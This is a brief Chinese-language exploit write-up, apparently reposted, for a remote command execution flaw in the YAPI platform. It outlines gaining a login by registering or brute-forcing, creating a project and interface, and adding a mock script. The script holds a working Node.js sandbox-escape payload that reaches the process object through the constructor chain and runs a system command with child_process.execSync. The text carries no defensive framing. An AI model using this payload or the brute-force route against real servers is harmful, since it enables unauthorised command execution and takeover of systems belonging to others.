YAPI系统远程命令执行漏洞#转发

注册或者爆破获取用户登录权限登陆系统:

添加项目:


添加接口


添加mock脚本:

payload:

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami").toString()

预览里访问接口